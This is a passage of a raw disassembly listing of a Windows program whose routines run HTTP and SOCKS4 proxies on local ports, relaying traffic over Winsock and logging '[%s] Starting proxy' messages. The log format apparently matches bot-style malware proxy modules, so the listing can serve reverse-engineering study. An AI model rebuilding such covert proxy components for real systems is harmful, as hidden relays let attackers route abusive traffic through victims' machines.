loc_4290F4:				; CODE XREF: sub_428350+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436FF0
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B124E851h, 83907168h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B0C9E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 2DEE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 28AE890h,	333D7169h
		dd 75000027h, 0E8016A0Dh, 2446DA0h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42927F:				; CODE XREF: sub_428350+CA6j
		or	esi, 0FFFFFFFFh


loc_429282:				; CODE XREF: sub_428350+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_4292A2
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_4292A2:				; CODE XREF: sub_428350+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429310:				; CODE XREF: sub_428350+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_428388


loc_42931C:				; CODE XREF: sub_428350+1074j
					; sub_428350+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429339
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_429339:				; CODE XREF: sub_428350+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_429354
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_429354:				; CODE XREF: sub_428350+FEFj
					; sub_428350+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42936D:				; CODE XREF: sub_428350+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_42937E:				; CODE XREF: sub_428350+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_42938F:				; CODE XREF: sub_428350+191j
					; sub_428350+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_4293A0:				; CODE XREF: sub_428350+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42931C
; ---------------------------------------------------------------------------


loc_4293C9:				; CODE XREF: sub_428350+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42953A
; ---------------------------------------------------------------------------


loc_4293DB:				; CODE XREF: sub_428350+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_429538
; ---------------------------------------------------------------------------


loc_429438:				; CODE XREF: sub_428350+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_429482:				; CODE XREF: sub_428350+711j
					; sub_428350+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_429538
; ---------------------------------------------------------------------------


loc_42949D:				; CODE XREF: sub_428350+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		jmp	loc_42953A
; ---------------------------------------------------------------------------


loc_4294AF:				; CODE XREF: sub_428350+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42931C
; ---------------------------------------------------------------------------


loc_429522:				; CODE XREF: sub_428350+D45j
					; sub_428350+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_429538:				; CODE XREF: sub_428350+10E3j
					; sub_428350+1148j
		call	esi	; closesocket


loc_42953A:				; CODE XREF: sub_428350+1086j
					; sub_428350+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_429354
sub_428350	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A50	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429A50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429AC0:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429AD8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429AD8:				; CODE XREF: ___:00429ACDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AF0	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429B0B
		push	eax
		call	near ptr 71AB9639h
		nop


loc_429B0B:				; CODE XREF: sub_429AF0+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429AF0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429B30	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429B53:				; CODE XREF: sub_429B30+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429B7A
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429B53


loc_429B7A:				; CODE XREF: sub_429B30+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429C4C
		push	ebp
		push	esi


loc_429B90:				; CODE XREF: sub_429B30+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429C2B
		test	ebp, ebp
		jz	short loc_429C2B
		push	0C3h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429BD6
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429BD8
; ---------------------------------------------------------------------------


loc_429BD6:				; CODE XREF: sub_429B30+99j
		xor	esi, esi


loc_429BD8:				; CODE XREF: sub_429B30+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429C36
; ---------------------------------------------------------------------------


loc_429C2B:				; CODE XREF: sub_429B30+74j
					; sub_429B30+7Cj
		push	0FAh
		nop
		call	near ptr 2870000h


loc_429C36:				; CODE XREF: sub_429B30+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B90
		pop	esi
		pop	ebp


loc_429C4C:				; CODE XREF: sub_429B30+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429C5E
		push	edi
		call	near ptr 71AB9639h
		nop


loc_429C5E:				; CODE XREF: sub_429B30+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429B30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429CC0	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429CE8
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429CF3
; ---------------------------------------------------------------------------


loc_429CE8:				; CODE XREF: sub_429CC0+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429CF3:				; CODE XREF: sub_429CC0+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D90	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429E00:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429E18
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429E18:				; CODE XREF: ___:00429E0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429E30	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429E30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429E50	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E91
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E91:				; CODE XREF: sub_429E50+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42A07C
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429ECE
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ECE:				; CODE XREF: sub_429E50+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42A07C
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429F69
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429F69:				; CODE XREF: sub_429E50+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429FC6:				; CODE XREF: sub_429E50+1AFj
					; sub_429E50+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42A06A
		jge	short loc_42A001
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42A001
		push	0Ah
		nop
		call	near ptr 2870000h
		jmp	short loc_429FC6
; ---------------------------------------------------------------------------


loc_42A001:				; CODE XREF: sub_429E50+198j
					; sub_429E50+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42A06A
		jge	short loc_42A053
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42A053
		push	0Ah
		nop
		call	near ptr 2870000h
		jmp	loc_429FC6
; ---------------------------------------------------------------------------


loc_42A053:				; CODE XREF: sub_429E50+1E7j
					; sub_429E50+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_429FC6
; ---------------------------------------------------------------------------


loc_42A06A:				; CODE XREF: sub_429E50+192j
					; sub_429E50+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42A07C:				; CODE XREF: sub_429E50+46j
					; sub_429E50+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429E50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A120	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A120	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A190	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A1A8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A1A8:				; CODE XREF: sub_42A190+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A190	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A1C0	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A1C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A1E0	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A1E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A3E9
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42A2B6
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A2B6:				; CODE XREF: sub_42A1E0+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A3A0


loc_42A2CC:				; CODE XREF: sub_42A1E0+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A2F0
		push	0FAh
		nop
		call	near ptr 2870000h
		jmp	loc_42A38C
; ---------------------------------------------------------------------------


loc_42A2F0:				; CODE XREF: sub_42A1E0+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A3A0
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A3A0
		push	0A5h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A33E
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A33E:				; CODE XREF: sub_42A1E0+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A38C:				; CODE XREF: sub_42A1E0+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A2CC


loc_42A3A0:				; CODE XREF: sub_42A1E0+E6j
					; sub_42A1E0+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A3B4
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42A3B4:				; CODE XREF: sub_42A1E0+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch


loc_42A3E9:				; CODE XREF: sub_42A1E0+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A1E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A490	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jz	short loc_42A4B1
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A4B1:				; CODE XREF: sub_42A490+Dj
		xor	al, al
		retn	8
sub_42A490	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A4D0	proc near		; CODE XREF: sub_4020C2j

